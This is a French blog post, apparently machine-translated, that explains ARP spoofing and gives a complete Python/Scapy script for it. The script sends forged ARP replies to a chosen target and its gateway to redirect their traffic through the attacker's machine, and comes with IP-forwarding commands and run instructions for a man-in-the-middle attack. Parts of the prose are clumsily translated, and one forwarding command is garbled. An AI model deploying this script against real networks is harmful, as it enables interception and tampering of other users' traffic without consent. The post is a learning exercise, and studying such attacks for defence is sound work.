Usurpation ARP avec python

Usurpation ARP

Tout d'abord, je vais vous expliquer ce qu'est l'ARP à ma manière. (Je pense que c'est facile à comprendre si vous faites un chiffre) Dans la communication au sein de la zone locale (couche 2 ou inférieure), l'adresse MAC est vérifiée à partir de l'adresse IP et la communication est effectuée sur la base de cette adresse MAC. C'est pourquoi le protocole ARP se charge de la partie "recherche de l'adresse MAC à partir de l'adresse IP". Maintenant que vous avez une idée approximative du fonctionnement de l'ARP, il s'agit de l'usurpation d'ARP, mais l'opération consistant à trouver l'adresse MAC à partir de l'adresse IP n'est pas pratique si vous le faites à chaque fois que vous communiquez, n'est-ce pas? En fait, le terminal possède les données qui indiquent "Cette adresse IP est cette adresse MAC". Et c'est l'usurpation ARP qui tente de changer (tromper) les données correspondantes (ci-après dénommées table ARP). Si vous faites cela, vous enverrez un paquet au terminal de l'attaquant qui serait autrement envoyé au routeur, et vous pouvez également modifier la table ARP du routeur pour bien pénétrer dans la communication. Le programme suivant effectue les opérations suivantes:

  1. Envoyez un paquet de requête ARP falsifié à la passerelle et à la cible. (Vous pouvez le casser avec ça)
  2. Envoyez le paquet ARP correct avant de terminer le programme et de revenir à la communication normale. Le point est 1. De nombreux outils de détérioration ARP envoient une réponse toutes les secondes au lieu d'une requête ARP et interrompent au moment où la table ARP de la cible d'attaque est mise à jour. Vous devez maintenant attendre qu'il soit temps de mettre à jour la table ARP. Mon implémentation J'utilise la spécification moins connue "La table ARPP est réécrite par requête ARP".
#coding:utf-8
from scapy.all import *
import time
import sys

conf.verb = 0
gateway_ip = sys.argv[1]  
gateway_mac = sys.argv[2]
target_ip = sys.argv[3]
target_mac = sys.argv[4]
def main():
	try:
		print "[*] Start ARPspoofing..."
		poison_target(target_ip,target_mac,gateway_ip,gateway_mac)
	except KeyboardInterrupt:
		pass
	finally:
		time.sleep(2)
		restore_table(gateway_ip,gateway_mac,target_ip,target_mac)
		sys.exit(0)

def poison_target(target_ip,target_mac,gateway_ip,gateway_mac):
	poisoning_target = Ether(dst=target_mac)/ARP()
	poisoning_target.op = 2
	poisoning_target.psrc = gateway_ip
	poisoning_target.pdst = target_ip

	poisoning_gateway = Ether(dst=gateway_mac)/ARP()
	poisoning_gateway.op = 2
	poisoning_gateway.psrc = target_ip
	poisoning_gateway.pdst = gateway_ip

	while True:
		sendp(poisoning_target)
		sendp(poisoning_gateway)
		time.sleep(5)
	print "[*] Finished."
	return

def restore_table(gateway_ip,gateway_mac,target_ip,target_mac):
	print "[*] Restoring target."
	send(ARP(op=1,psrc=gateway_ip,hwsrc=gateway_mac,pdst=target_ip,hwdst=target_mac),count=3)

if __name__=="__main__":
	main()

Pour Mac

sudo sysctl -w net.inet.ip.forwarding=1

Pour Linux

sudo sysctl -w sudo sysctl -w net.ipv4.ip_forward=1

Courir

sudo python arpspoofing.passerelle IP passerelle IP MAC cible IP cible MAC

Tous les paquets transmis du terminal spécifié par la cible voleront vers votre terminal.

problème

Auparavant, l'adresse MAC de l'autre partie (passerelle, cible) était obtenue par diffusion, mais l'adresse MAC de votre terminal (attaquant) incluse dans le paquet de requête envoyé à ce moment est spécifiée. J'ai décidé de le spécifier car l'adresse MAC peut être dupliquée lors de l'exécution de spuffing ARP car elle se trouve sur la table ARP. Cependant, puisque l'adresse MAC de l'attaquant existe dans la passerelle avant d'effectuer l'usurpation ARP, il y aura duplication. .. Donc, comme solution, je pense maintenant, je pense à l'usurpation de l'adresse MAC de l'attaquant. Cela peut être une machine virtuelle

Livre référencé https://www.oreilly.co.jp/books/9784873117317/

Recommended Posts

Usurpation ARP avec python
FizzBuzz en Python3
Grattage avec Python
Grattage avec Python
Python avec Go
Twilio avec Python
Intégrer avec Python
Jouez avec 2016-Python
AES256 avec python
Testé avec Python
python commence par ()
avec syntaxe (Python)
Bingo avec python
Zundokokiyoshi avec python
Excel avec Python
Micro-ordinateur avec Python
Cast avec python
J'ai essayé le spoofing ARP
Usurpation ARP avec python
Communication série avec Python
Zip, décompressez avec python
Django 1.11 a démarré avec Python3.6
Python avec eclipse + PyDev.
Communication de socket avec Python
Analyse de données avec python 2
Grattage en Python (préparation)
Essayez de gratter avec Python.
Apprendre Python avec ChemTHEATER 03
Recherche séquentielle avec Python
"Orienté objet" appris avec python
Manipuler yaml avec python
Résolvez AtCoder 167 avec python
Communication série avec python
[Python] Utiliser JSON avec Python
Apprendre Python avec ChemTHEATER 05-1
Apprenez Python avec ChemTHEATER
Exécutez prepDE.py avec python3
J'ai essayé le spoofing ARP
1.1 Premiers pas avec Python
Collecter des tweets avec Python
Binarisation avec OpenCV / Python
3. 3. Programmation IA avec Python
Méthode Kernel avec Python
Grattage avec Python + PhantomJS
Conduisez WebDriver avec python
[Python] Redirection avec CGIHTTPServer
Analyse vocale par python
Pensez à yaml avec python
Utiliser Kinesis avec Python
Utiliser DynamoDB avec Python
Getter Zundko avec python
Gérez Excel avec python
Loi d'Ohm avec Python
Exécutez Blender avec python
Python à partir de Windows 7
Carte thermique par Python + matplotlib
Multi-processus de manière asynchrone avec python
Programmation Python avec Atom
Apprendre Python avec ChemTHEATER 02
Utilisez Python 3.8 avec Anaconda
Installez Voluptuous avec Python 2.5
ScreenShot avec Selenium (édition Python)